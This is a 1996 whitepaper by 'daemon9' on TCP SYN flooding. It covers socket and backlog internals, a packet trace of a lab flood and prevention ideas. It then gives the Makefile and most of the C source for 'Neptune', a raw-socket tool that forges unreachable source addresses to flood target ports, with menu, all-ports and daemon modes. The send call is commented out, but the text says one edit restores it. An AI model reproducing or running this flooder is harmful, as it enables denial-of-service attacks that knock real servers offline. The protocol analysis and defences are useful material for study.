Holds the information related to the local end of the communications link: protocol used, state information, addressing information, connection queues, buffers, and flags.

Internet Protocol Control Block Structure (inpcb{}):

PCB's are used at the transport layer by TCP (and UDP) to hold various pieces of information needed by TCP. They hold: TCP state information, IP address information, port numbers, IP header prototype and options and a pointer to the routing table entry for the destination address. PCB's are created for a given TCP based server when the server calls listen(),

TCP Control Block Structure (tcpcb{}):

The TCP control block contains TCP specific information such as timer information, sequence number information, flow control status, and OOB data.

‑‑[ Linux ]‑‑

Linux uses a different scheme of memory allocation to hold network information. The socket structure is still used, but instead of the pcb{} and tcpcb{}, we have:

Sock Structure (sock{}):

Protocol specific information, most of the data structures are TCP related. This is a huge structure.

SK Structure (sk_buff{}):

Holds more protocol specific information including packet header information, also contains a sock{}.

According to Alan Cox:

The inode is the inode holding the socket (this may be a dummy inode for non file system sockets like IP), the socket holds generic high level methods and the struct sock is the protocol specific object, although all but a few experimental high performance items use the same generic struct sock and support code. That holds chains of linear buffers (struct sk_buff's).

[ struct inode ‑> struct socket ‑> struct sock ‑> chains of sk_buff's ]

‑‑[ The Backlog Queue]‑‑

These are large memory structures. Every time a client SYN arrives on a valid port (a port where a TCP server is listen()ing), they must be allocated. If there were no limit, a busy host could easily exhuast all of it's memory just trying to process TCP connections. (This would be an even simpler DOS attack.) However, there is an upper limit to amount of concurrent connection requests a given TCP can have outstanding for a given socket. This limit is the backlog and it is the length of the queue where incoming (as yet incomplete) connections are kept. This queue limit applies to both the number of imcomplete connections (the 3‑way handshake has not been completed) and the number of completed connections that have not been pulled from the queue by the application by way of the accept() call. If this backlog limit is reached, we will see that TCP will silently discard all incoming connection requests until the pending connections can be dealt with.

The backlog is not a large value. It does not have to be. Normally TCP is quite expedient in connection establishment processing. Even if a connection arrived while the queue was full, in all likelyhood, when the client retransmits it's connection request segment, the receiving TCP will have room again in it's queue. Different TCP implementations have different backlog sizes. Under BSD style networking code, there is also 'grace' margin of 3/2. That is, TCP will allow up to backlog*3/2+1 connections. This will allow a socket one connection even if it calls listen with a backlog of 0. Some common backlog values:

fig(2)

OSBacklog BL+Grace Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SunOS 4.x.x: 5 8

IRIX 5.2: 5 8

Solaris

Linux 1.2.x: 10 10 Linux does not have this grace margin. FreeBSD 2.1.0: 32

FreeBSD 2.1.5: 128

Win NTs 3.5.1: 6 6 NT does not appear to have this margin. Win NTw 4.0: 6 6 NT has a pathetic backlog.

Section III.TCP Input Processing

To see exactly where the attack works it is necessary to watch as the receiving TCP processes an incoming segment. The following is true for BSD style networking, and only processes relevant to this paper are discussed.

A packet arrives and is demultiplexed up the protocol stack to TCP. The TCP state is LISTEN:

Get header information:

TCP retrieves the TCP and IP headers and stores the information in memory.

Verify the TCP checksum:

The standard Internet checksum is applied to the segment. If it fails, no ACK is sent, and the segment is dropped, assuming the client will retranmit it.

Locate the PCB{}:

TCP locates the pcb{} associated with the connection. If it is not found, TCP drops the segment and sends a RST. (Aside: This is how TCP handles connections that arrive on ports with no server listen()ing.) If the PCB{} exists, but the state is CLOSED, the server has not called connect() or listen(). The segment is dropped, but no RST is sent. The client is expected to retransmit it's connection request. We will see this occurence when we discuss the 'Linux Anomaly'.

Create new socket:

When a segment arrives for a listen()ing socket, a slave socket is created. This is where a socket{}, tcpcb{}, and another pcb{} are created. TCP is not committed to the connection at this point, so a flag is set to cause TCP to drop the socket (and destroy the memory structures) if an error is encountered. If the backlog limit is reached, TCP considers this an error, and the connection is refused. We will see that this is exactly why the attack works.Otherwise, the new socket's TCP state is LISTEN, and the completion of the passive open is attempted.

Drop if RST, ACK, or no SYN:

If the segment contains a RST, it is dropped. If it contains an ACK, it is dropped, a RST is sent and the memory structures torn down (the ACK makes no sense for the connection at this point, and is considered an error). If the segment does not have the SYN bit on, it is dropped. If the segment contains a SYN, processing continues.

Address processing, etc:

TCP then gets the clients address information into a buffer and connects it's pcb{} to the client, processes any TCP options, and initializes it's initial send sequence (ISS) number.

ACK the SYN:

TCP sends a SYN, ISS and an ACK to the client. The connection establishment timer is set for 75 seconds at this point. The state changes to SYN_RCVD. Now. TCP is commited to the socket. We will see that this is state the target TCP will be in when in the throes of the attack because the expected client response is never received. The state remains SYN_RCVD until the connection establishment timer expires, in which case the all the memory structures associated with the connection are destroyed, and the socket returns to the LISTEN state.

Section IV.The Attack

A TCP connection is initiated with a client issuing a request to a server with the SYN flag on in the TCP header. Normally the server will issue a SYN/ACK back to the client identified by the 32‑bit source address in the IP header. The client will then send an ACK to the server (as we saw in figure 1 above) and data transfer can commence. When the client IP address is spoofed to be that of an unreachable, host, however, the targetted TCP cannot complete the 3‑way handshake and will keep trying until it times out. That is the basis for the attack.

The attacking host sends a few (we saw that as little as 6 is enough) SYN requests to the target TCP port (for example, the telnet daemon). The attacking host also must make sure that the source IP‑address is spoofed to be that of another, currently unreachable host (the target TCP will be sending it's response to this address). IP (by way of ICMP) will inform TCP that the host is unreachable, but TCP considers these errors to be transient and leaves the resolution of them up to IP (reroute the packets, etc) effectively ignoring them. The IP‑address must be unreachable because the attacker does not want *any* host to recieve the SYN/ACKs that will be coming from the target TCP, which would elicit a RST from that host (as we saw in TCP input above). This would foil the attack. The process is as follows:

fig(3)

1Z(x) ‑‑‑SYN‑‑‑>A

Z(x) ‑‑‑SYN‑‑‑>A

Z(x) ‑‑‑SYN‑‑‑>A

Z(x) ‑‑‑SYN‑‑‑>A

Z(x) ‑‑‑SYN‑‑‑>A

Z(x) ‑‑‑SYN‑‑‑>A

2X <‑‑‑SYN/ACK‑‑‑ A

X <‑‑‑SYN/ACK‑‑‑A

...

3X <‑‑‑RST‑‑‑A

At (1) the attacking host sends a multitude of SYN requests to the target to fill it's backlog queue with pending connections. (2) The target responds with SYN/ACKs to what it believes is the source of the incoming SYNs. During this time all further requests to this TCP port will be ignored. The target port is flooded.

‑‑[ Linux Anomaly ]‑‑

In doing my research for this project, I noticed a very strange implementation error in the TCP module of Linux. When a particular TCP server is flooded on a Linux host, strange things are afoot... First, it appears that the connection‑establishment timer is broken. The 10 spoofed connection‑requests keep the sockets in the SYN_RCVD state for just over 20 minutes (23 minutesto be exact. Wonder what the signifigance of this is... Hmmm...). Much longer than the 75‑seconds it *should* be. The next oddity is even more odd... After that seemingly arbitrary time period (I have to determine what the hell is going on there), TCP moves the flooded sockets into the CLOSE state, where they *stay* until a connection‑request arrives on a *different* port. If a connection‑request arrives on the flooded port (now in the CLOSE state), it will not answer, acting as if it is still flooded. After the connection‑request arrives on a different port, the CLOSEd sockets will be destroyed, and the original flooded port will be free to answer requests again. It seems as though the connection‑request will spark the CLOSEd sockets into calling listen()... Damn wierd if you ask me...

The implications of this are severe. I have been able to completely disable all TCP based servers from answering requests indefinitely. If all the TCP servers are flooded, there are none to recieve the valid connection request to alleviate the CLOSE state from the flooded connections. Bad news indeed.

[Note: as of 7.15.96 this is a conundrum. I have contacted Alan Cox and Eric Schenk and plan to work with them on a solution to this problem. I be forthcoming with all our findings as soon as possible. I believe the problem to perhaps lie (at least in part) in the tcp_close_pending() function... Or perhaps there is a logic error in how TCP switches between the connection‑establishment timer and the keep‑alive timer. They are both implemented using the same variable since they are mutally exclusive...]

Section V.Network Trace

The following is a network trace from an actual SYN flooding session. The target machine is Ash, a Linux 1.2.13 box. The attacker is Onyx. The network is a 10Mbps ethernet.

Network Monitor trace Fri 07/12/96 10:23:34 Flood1.TXT

Frame Time Src MAC Addr Dst MAC Addr Protocol Description Src Other Addr Dst Other Addr Type Other Addr

1 2.519 onyx ash TCP/23 ....S., len: 4, seq:3580643269, ack:1380647758, win: 512, src 192.168.2.2 192.168.2.7 IP 2 2.520 ash onyx TCP/1510 .A..S., len: 4, seq: 659642873, ack:3580643270, win:14335, src 192.168.2.7 192.168.2.2 IP 3 2.520 onyx ash TCP/23 .A...., len: 0, seq:3580643270, ack: 659642874, win:14260, src 192.168.2.2 192.168.2.7 IP

A telnet client is started on Onyx, and we see the standard 3‑way handshake between the two hosts for the telnet session.

Lines 4‑126 were interactive telnet traffic and added nothing to the discussion.

127 12.804 ash onyx TCP/1510 .A...F, len: 0, seq: 659643408, ack:3580643401, win:14335, src 192.168.2.7 192.168.2.2 IP 128 12.804 onyx ash TCP/23 .A...., len: 0, seq:3580643401, ack: 659643409, win:14322, src 192.168.2.2 192.168.2.7 IP 129 12.805 onyx ash TCP/23 .A...F, len: 0, seq:3580643401, ack: 659643409, win:14335, src 192.168.2.2 192.168.2.7 IP 130 12.805 ash onyx TCP/1510 .A...., len: 0, seq: 659643409, ack:3580643402, win:14334, src 192.168.2.7 192.168.2.2 IP

Here we see the 4‑way connection termination procedure.

At this point, the flood program is started on onyx, the information filled in, and the attack is launched.

131 42.251 onyx *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.7

Onyx is attempting to get ash's ethernet address using ARP.

132 42.251 ash onyx ARP_RARP ARP: Reply, Target IP: 192.168.2.2 Target Hdwr Addr: 0020AF2311D7

Ash responds with it's ethernet address.

133 42.252 onyx ash TCP/23 ....S., len: 0, seq:3364942082, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP

The flood begins. Onyx sends the first of 10 TCP segments with the SYN bit on, and the IP address spoofed to the telnet daemon.

134 42.252 ash *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.10

Ash immediately attempts to resolve the ethernet address. However, since there is no such host on the network (and no router to proxy the request with) the ARP request will not be answered. The host, is in effect, unreachable.

135 42.271 onyx ash TCP/23 ....S., len: 0, seq:3381719298, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP 136 42.291 onyx ash TCP/23 ....S., len: 0, seq:3398496514, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP 137 42.311 onyx ash TCP/23 ....S., len: 0, seq:3415273730, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP 138 42.331 onyx ash TCP/23 ....S., len: 0, seq:3432050946, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP 139 42.351 onyx ash TCP/23 ....S., len: 0, seq:3448828162, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP 140 42.371 onyx ash TCP/23 ....S., len: 0, seq:3465605378, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP 141 42.391 onyx ash TCP/23 ....S., len: 0, seq:3482382594, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP 142 42.411 onyx ash TCP/23 ....S., len: 0, seq:3499159810, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP 143 42.431 onyx ash TCP/23 ....S., len: 0, seq:3515937026, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP

The next 9 of 10 SYNs. The telnet daemon on ash is now flooded. At this point, another telnet client is started on Onyx.

144 47.227 onyx *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.7

Onyx is again attempting to get ash's ethernet address using ARP. Hmmm, this entry should be in the arp cache. I should look into this.

145 47.228 ash onyx ARP_RARP ARP: Reply, Target IP: 192.168.2.2 Target Hdwr Addr: 0020AF2311D7

Here is the ARP reply.

146 47.228 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win: 512, src 192.168.2.2 192.168.2.7 IP 147 50.230 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP 148 56.239 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP

Onyx is attempting to establish a connection with the telnet daemon on Ash, which is, as we saw, flooded.

149 67.251 ash *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.10

Ash is still trying to get the ethernet address of the spoofed host. In vain...

150 68.247 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP 151 92.254 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP

Onyx is still transmitting it's connection‑estabishment requests... Also in vain.

152 92.258 ash *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.10

Hello? Are you out there?

Section VI.Neptune.c

Neptune.c is the companion code. It does everything we've talked about, and more. Neptune.c is admittedly more complex than it needs to be. I included several features that are not essential, but make the program more robust. The program features: simple to use menuing system, an alternative command line interface for easy integration into scripts, ICMP_ECHO requesting to query if unreachable is in fact unreachable (AKA 'ping'ing), infinity mode (read the code) and a daemon mode with (psuedo) random unreachable IP address choosing.

The menu is really self explanatory...

1Enter target host

Enter yur target. If you are confused at this point, kill yurself.

2Enter source (unreachable) host

Enter the puported sender. It is integral that this host be routable but not reachable. Remember that the address must be a unicast address. If it is a broadcast or multicast address it will be dropped by the target TCP.

3Send ICMP_ECHO(s) to unreachable

Make sure that yur puported sender is in fact unreachable. This is not 100% reliable as A) ICMP packets can be dropped by the unreliable network layer, B) the host may filter out ICMP_ECHO packets.

4Enter port number to flood

The target port to flood. There is an infinity switch.

5Enter number of SYNs

The number of SYNs to send. Remember, this attack is not bandwidth hungry, sending more packets than neccessary is totally useless.

6Quit

Bye, bye.

7Lanuch

Fire when ready.

8Daemonize (may or may not be implemented in yur version)

Puts the program in dameon mode. It forks to the background and does it's evilness there. Needs two more options: packet sending interval, and time for daemon to live. Recommended packet sending interval is at least every 90 seconds, depending on the target TCP. 80 should work fine, as the connection establishment timer is 75 seconds. Daemon lifetime is up to you. Be kind.

Also the daemon portion includes routines to optionally make use of a file of unreachable IP addresses and (pseudo) randomly choose from them. The program reads the file and builds a dynamic array of these IP addresses in network byte order and then uses rand (seeded from the time of day in seconds ‑‑we don't need alot of entropy here, this isn't cryptography‑‑) to generate a number and then it mods that number by the number of entries in the table to hash to a particular IP address.

Since the program opens raw sockets, it needs to run as root. By default, it is installed SUID root in /usr/local/bin/neptune with the access list in /etc/sfaccess.conf. The authentication mechanism works by checking the usernames (via UID) of the attempted flooders. It is not a complex algorithm, and in fact the code is quite simple (asside: If anyone can find any security problems with the program being SUID root, ‑‑above the fact that the program is admittedly evil‑‑ I would love to hear about them). Root is the only entry the access file starts off with.

For the program to work, you need to remove the comment marks from line 318 (the actual sendto() call where the forged datagrams are sent). I did that so the fools simply interested in causing trouble (and not interested in learning) would find the program mostly useless.

Section VII.Discussion and Prevention

As we have seen, the attack works because TCP is attempting to do it's job of providing a reliable transport. TCP must establish a connection first, and this is where the weakness lies. (T/TCP is immune to this attack via TAO. See my future paper: `The Next Generation Internet` for information on T/TCP and IPng.) Under normal circumstances, assuming well‑behaved networking software, the worst that can happen is a TCP‑based server may be wrapped up in legimate connection‑establishment processing and a few clients may have to retransmit thier SYNs. But, a misbegotten client program can exploit this connection‑establishment weakness and down a TCP‑based server with only a few doctored segments.

The fact that SYN flooding requires such a small amount of network traffic to be so effective is important to note. Consider other network DOS attacks such as ICMP_ECHO floods (ping floods), mail bombs, mass mailing list subscriptions, etc... To be effective, all of these attacks require an attacker to transmit volumous amounts of network traffic. Not only does this make these attacks more noticable on both ends by decreasing the amount of available bandwidth (as such, often these attacks are waged from compromised machines) but it also adds to the general traffic problems of the Internet. SYN flooding can be deadly effective with as little as 360 packets/hour.

‑‑[ Prevention ]‑‑

Ok, so how do we stop it? Good question.

‑‑[ TCPd ]‑‑

TCP wrappers are almost useless. The magic they do is based on the validity of the source IP‑address of incoming datagrams. As we know, this can be spoofed to whatever the attacker desires. Unless the target has denied traffic from *everywhere* except known hosts, TCP wrappers will not save you.

‑‑[ Increase the Backlog ]‑‑

Increasing the default backlog is not much of a solution. In comparision with the difficulty of an attacker simply sending more packets, the memory requirements of the additional connection‑establishment structures is prohibitively expensive. At best it is an obfuscative (word check...?) measure.

‑‑[ Packet Filtering ]‑‑

A smart packet filter (or kernel modification) of some kind may be a viable solution. Briefly:

‑ Host keeps a recent log of incoming packets with the `SYN` bit on in a linked list structure.

‑ The linked list cannot be permitted to grow without bound (another DOS attack would present itself)

‑ When x amount of SYNs are received on a socket, certain characteristics about the packets are compared, (Source port, source IP address, sequence numbers, window size, etc) and if things seem fishy, the connection requests and associated memory structures are immediately destroyed.

Section VIII.References

Ppl:A. Cox, R. Stevens

Books:TCP Illustrated vols II,III

This project made possible by a grant from the Guild Corporation.

EOF

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# Neptune Makefile

# daemon9, 1996 Guild Productions

all:

@gcc ‑o neptune neptune.c

@echo ""

@echo "'make install' will install the program..."

@echo ""

@echo "Warning! Neptune is installed SUID root by default!" @echo ""

@echo "route@infonexus.com / Guild Corporation"

install:

strip ./neptune

mv ./neptune /usr/local/bin/neptune

chmod 4755 /usr/local/bin/neptune

@echo "root" > /etc/sfaccess.conf

@echo "Installation complete, access list is /etc/sfaccess.conf" clean:

@rm ‑f *.o neptune /etc/sfaccess.conf

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

Neptune

v. 1.5

daemon9/route/infinity

June 1996 Guild productions

comments to daemon9@netcom.com

If you found this code alone, without the companion whitepaper please get the real‑deal: ftp.infonexus.com/pub/SourceAndShell/Guild/Route/Projects/Neptune/neptune.tgz

Brief synopsis:

Floods the target host with TCP segments with the SYN bit on, puportedly from an unreachable host. The return address in the IP header is forged to be that of a known unreachable host. The attacked TCP, if flooded sufficently, will be unable to respond to futher connects. See the accompanying whitepaper for a full treatment of the topic. (Also see my paper on IP‑spoofing for information on a related subject.)

Usage:

Figure it out, kid. Menu is default action. Command line usage is available for easy integration into shell scripts. If you can't figure out an unreachable host, the program will not work.

Gripes:

It would appear that flooding a host on every port (with the infinity switch) has it's drawbacks. So many packets are trying to make their way to the target host, it seems as though many are dropped, especially on ethernets. Across the Internet, though, the problem appears mostly mitigated. The call to usleep appears to fix this... Coming up is a port scanning option that will find open ports...

Version History:

6/17/96 beta1:SYN flooding, Cmd line and crude menu, ICMP stuff broken 6/20/96beta2:Better menu, improved SYN flooding, ICMP fixed... sorta 6/21/96beta3:Better menu still, fixed SYN flood clogging problem Fixed some name‑lookup problems

6/22/96beta4:Some loop optimization, ICMP socket stuff changed, ICMP code fixed

6/23/96 1.0:First real version...

6/25/961.1:Cleaned up some stuff, added authentication hooks, fixed up input routine stuff

7/01/961.5:Added daemonizing routine...

This coding project made possible by a grant from the Guild corporation

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <syslog.h>

#include <pwd.h>

#include <unistd.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <sys/socket.h>

#include <sys/ioctl.h>

#include <fcntl.h>

#include <time.h>

#include <linux/signal.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/icmp.h>

#define BUFLEN 256

#define MENUBUF64

#define MAXPORT 1024

#defineMAXPAK 4096

#defineMENUSLEEP 700000

#defineFLOODSLEEP 100/* Ethernet, or WAN? Yur mileage will vary.*/

#defineICMPSLEEP 100

#define ACCESSLIST "/etc/sfaccess.conf"

int HANDLERCODE=1;

int KEEPQUIET=0;

char werd[]={"\nThis code made possible by a grant from the Guild Corporation\n\0"};

void main(argc,argv)

int argc;

char *argv[];

{

void usage(char *);

void menu(int,char *);

void flood(int,unsigned,unsigned,u_short,int);

unsigned nameResolve(char *);

int authenticate(int,char *);

unsigned unreachable,target;

int c,port,amount,sock1,fd;

struct passwd *passEnt;

char t[20],u[20];

if((fd=open(ACCESSLIST,O_RDONLY))<=0){

perror("Cannot open accesslist");

exit(1);

}

setpwent();

passEnt=getpwuid(getuid());

endpwent();

/* Authenticate */

if(!authenticate(fd,passEnt‑>pw_name)){

fprintf(stderr,"Access Denied, kid\n");

exit(0);

}

/* Open up a RAW socket */

if((sock1=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){ perror("\nHmmm.... socket problems\n");

exit(1);

}

if(argc==1){

menu(sock1,passEnt‑>pw_name);

exit(0);

}

/* Parse command‑line arguments */

while((c=getopt(argc,argv,"8:s:t:p:a"))){

switch(c){

case 's':/* Source (spoofed) host */

unreachable=nameResolve(optarg);

strcpy(u,optarg);

break;

case 't':/* Target host */

target=nameResolve(optarg);

strcpy(t,optarg);

break;

case 'p':/* Target port */

port=atoi(optarg);

break;

case '8':/* infinity switch */

port=0;

break;

case 'a':/* Amount of SYNs to send */

amount=atoi(optarg);

break;

default:/* WTF? */

usage(argv[0]);

}

}

if(!port){

printf("\n\nFlooding target: \t\t%u\nOn ports\t\t\t1‑%d\nAmount: \t\t\t%u\nPuportedly from: \t\t%u \n",target,MAXPORT,amount,unreachable); flood(sock1,unreachable,target,0,amount);

}

else{

printf("\n\nFlooding target: \t\t%u\nOn port: \t\t\t%u\nAmount: \t\t\t%u\nPuportedly from: \t\t%u \n",target,port,amount,unreachable); flood(sock1,unreachable,target,port,amount);

}

syslog(LOG_LOCAL6|LOG_INFO,"FLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d\n",getpid(),passEnt‑>pw_name,t,u,port,amount); printf(werd);

exit(0);

}/* End main */

/*

* Authenticate. Makes sure user is authorized to run program. *

*/

int authenticate(fd,nameID)

int fd;

char *nameID;

{

char buf[BUFLEN+1];

char workBuffer[10];

int i=0,j=0;

while(read(fd,buf,sizeof(buf))){

if(!(strstr(buf,nameID))){

close(fd);

syslog(LOG_LOCAL6|LOG_INFO,"Failed authentication for %s\n",nameID); return(0);

}

else {

close(fd);

syslog(LOG_LOCAL6|LOG_INFO,"Successful start by %s, PID: %d\n",nameID,getpid()); return(1);

}

}

}

/*

*Flood. This is main workhorse of the program. IP and TCP header *construction occurs here, as does flooding.

*/

void flood(int sock,unsigned sadd,unsigned dadd,u_short dport,int amount){

unsigned short in_cksum(unsigned short *,int);

struct packet{

struct iphdr ip;

struct tcphdr tcp;

}packet;

struct pseudo_header{/* For TCP header checksum */

unsigned int source_address;

unsigned int dest_address;

unsigned char placeholder;

unsigned char protocol;

unsigned short tcp_length;

struct tcphdr tcp;

}pseudo_header;

struct sockaddr_in sin;/* IP address information */

register int i=0,j=0;/* Counters */

int tsunami=0;/* flag */

unsigned short sport=161+getpid();

if(!dport){

tsunami++;/* GOD save them... */

fprintf(stderr,"\nTSUNAMI!\n");

fprintf(stderr,"\nflooding port:");

}

/* Setup the sin struct with addressing information */

sin.sin_family=AF_INET;/* Internet address family */

sin.sin_port=sport;/* Source port */

sin.sin_addr.s_addr=dadd;/* Dest. address */

/* Packet assembly begins here */

/* Fill in all the TCP header information */

packet.tcp.source=sport;/* 16‑bit Source port number */

packet.tcp.dest=htons(dport); /* 16‑bit Destination port */

packet.tcp.seq=49358353+getpid();/* 32‑bit Sequence Number */

packet.tcp.ack_seq=0;/* 32‑bit Acknowledgement Number */

packet.tcp.doff=5;/* Data offset */

packet.tcp.res1=0;/* reserved */

packet.tcp.res2=0;/* reserved */

packet.tcp.urg=0;/* Urgent offset valid flag */

packet.tcp.ack=0;/* Acknowledgement field valid flag */

packet.tcp.psh=0;/* Push flag */

packet.tcp.rst=0;/* Reset flag */

packet.tcp.syn=1;/* Synchronize sequence numbers flag */

packet.tcp.fin=0;/* Finish sending flag */

packet.tcp.window=htons(242); /* 16‑bit Window size */

packet.tcp.check=0;/* 16‑bit checksum (to be filled in below) */

packet.tcp.urg_ptr=0;/* 16‑bit urgent offset */

/* Fill in all the IP header information */

packet.ip.version=4;/* 4‑bit Version */

packet.ip.ihl=5;/* 4‑bit Header Length */

packet.ip.tos=0;/* 8‑bit Type of service */

packet.ip.tot_len=htons(40);/* 16‑bit Total length */

packet.ip.id=getpid();/* 16‑bit ID field */

packet.ip.frag_off=0;/* 13‑bit Fragment offset */

packet.ip.ttl=255;/* 8‑bit Time To Live */

packet.ip.protocol=IPPROTO_TCP; /* 8‑bit Protocol */

packet.ip.check=0;/* 16‑bit Header checksum (filled in below) */

packet.ip.saddr=sadd;/* 32‑bit Source Address */

packet.ip.daddr=dadd;/* 32‑bit Destination Address */

/* Psuedo‑headers needed for TCP hdr checksum (they

do not change and do not need to be in the loop) */

pseudo_header.source_address=packet.ip.saddr; pseudo_header.dest_address=packet.ip.daddr; pseudo_header.placeholder=0; pseudo_header.protocol=IPPROTO_TCP; pseudo_header.tcp_length=htons(20);

while(1){/* Main loop */

if(tsunami){

if(j==MAXPORT){

tsunami=0;

break;

}

packet.tcp.dest=htons(++j);

fprintf(stderr,"%d",j);

fprintf(stderr,"%c",0x08); if(j>=10)fprintf(stderr,"%c",0x08); if(j>=100)fprintf(stderr,"%c",0x08); if(j>=1000)fprintf(stderr,"%c",0x08); if(j>=10000)fprintf(stderr,"%c",0x08);

}

for(i=0;i<amount;i++){/* Flood loop */

/* Certian header fields should change */

packet.tcp.source++;/* Source port inc */

packet.tcp.seq++;/* Sequence Number inc */

packet.tcp.check=0;/* Checksum will need to change */

packet.ip.id++;/* ID number */

packet.ip.check=0;/* Checksum will need to change */

/* IP header checksum */

packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);

/* Setup TCP headers for checksum */

bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);

/* TCP header checksum */

packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);

/* As it turns out, if we blast packets too fast, many

get dropped, as the receiving kernel can't cope (at

least on an ethernet). This value could be tweaked

prolly, but that's up to you for now... */

usleep(FLOODSLEEP);

/* This is where we sit back and watch it all come together */

/*sendto(sock,&packet,40,0,(struct sockaddr *)&sin,sizeof(sin));*/

if(!tsunami&&!KEEPQUIET)fprintf(stderr,".");

}

if(!tsunami)break;

}

}

/*

*IP Family checksum routine (from UNP)

*/

unsigned short in_cksum(unsigned short *ptr,int nbytes){

register long sum; /* assumes long == 32 bits */

u_short oddbyte;

register u_short answer; /* assumes u_short == 16 bits */

/*

* Our algorithm is simple, using a 32‑bit accumulator (sum), * we add sequential 16‑bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */

sum = 0;

while (nbytes > 1) {

sum += *ptr++;

nbytes ‑= 2;

}

/* mop up an odd byte, if necessary */

if (nbytes == 1) {

oddbyte = 0; /* make sure top half is zero */

*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */

sum += oddbyte;

}

/*

* Add back carry outs from top 16 bits to low 16 bits. */

sum = (sum >> 16) + (sum & 0xffff); /* add high‑16 to low‑16 */

sum += (sum >> 16); /* add carry */

answer = ~sum; /* ones‑complement, then truncate to 16 bits */

return(answer);

}

/*

*Converts IP addresses

*/

unsigned nameResolve(char *hostname){

struct in_addr addr;

struct hostent *hostEnt;

if((addr.s_addr=inet_addr(hostname))==‑1){ if(!(hostEnt=gethostbyname(hostname))){ fprintf(stderr,"Name lookup failure: `%s`\n",hostname); exit(0);

}

bcopy(hostEnt‑>h_addr,(char *)&addr.s_addr,hostEnt‑>h_length); }

return addr.s_addr;

}

/*

*Menu function. Nothing suprising here. Except that one thing. */

void menu(sock1,nameID)

int sock1;

char *nameID;

{

int slickPing(int,int,char *);

void flood(int,unsigned,unsigned,u_short,int);

unsigned nameResolve(char *);

void demon(int,char *,char *,int,int,int,int);

int i,sock2,menuLoop=1,icmpAmt,port,amount,interval,ttl;

char optflags[7]={0};/* So we can keep track of the options */

static char tmp[MENUBUF+1]={0},target[MENUBUF+1]={0},unreach[MENUBUF+1]={0};

while(menuLoop){

printf("\n\n\t\t\t[ SYNflood Menu ]\n\t\t\t [ daemon9 ]\n\n"); if(!optflags[0])printf("1\t\tEnter target host\n");

else printf("[1]\t\tTarget:\t\t\t%s\n",target); if(!optflags[1])printf("2\t\tEnter source (unreachable) host\n"); else printf("[2]\t\tUnreachable:\t\t%s\n",unreach); if(!optflags[2])printf("3\t\tSend ICMP_ECHO(s) to unreachable\n"); else printf("[3]\t\tUnreachable host:\tverified unreachable\n"); if(!optflags[3])printf("4\t\tEnter port number to flood\n"); else if(port)printf("[4]\t\tFlooding:\t\t%d\n",port);

else printf("[4]\t\tFlooding:\t\t1‑1024\n"); if(!optflags[4])printf("5\t\tEnter number of SYNs\n");

else printf("[5]\t\tNumber SYNs:\t\t%d\n",amount); printf("\n6\t\tQuit\n");

if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4])printf("7\t\tLaunch Attack\n"); if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4])printf("8\t\tDaemonize\n"); printf("\n\n\n\n\n\n\n\n\n\n\n\n");

fgets(tmp,BUFLEN/2,stdin);/* tempered input */

switch(atoi(tmp)){

case 1:

printf("[hostname]‑> ");

fgets(target,MENUBUF,stdin);

i=0;

if(target[0]=='\n')break;

while(target[i]!='\n')i++;

target[i]=0;

optflags[0]=1;

break;

case 2:

printf("[hostname]‑> ");

fgets(unreach,MENUBUF,stdin);

i=0;

if(unreach[0]=='\n')break;

while(unreach[i]!='\n')i++;

unreach[i]=0;

optflags[1]=1;

break;

case 3:

if(!optflags[1]){

fprintf(stderr,"Um, enter a host first\n"); usleep(MENUSLEEP);

break;

}

/* Raw ICMP socket */

if((sock2=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0){ perror("\nHmmm.... socket problems\n"); exit(1);

}

printf("[number of ICMP_ECHO's]‑> "); fgets(tmp,MENUBUF,stdin);

if(!(icmpAmt=atoi(tmp)))break; if(slickPing(icmpAmt,sock2,unreach)){ fprintf(stderr,"Host is reachable... Pick a new one\n"); sleep(1);

optflags[1]=0;

optflags[2]=0;

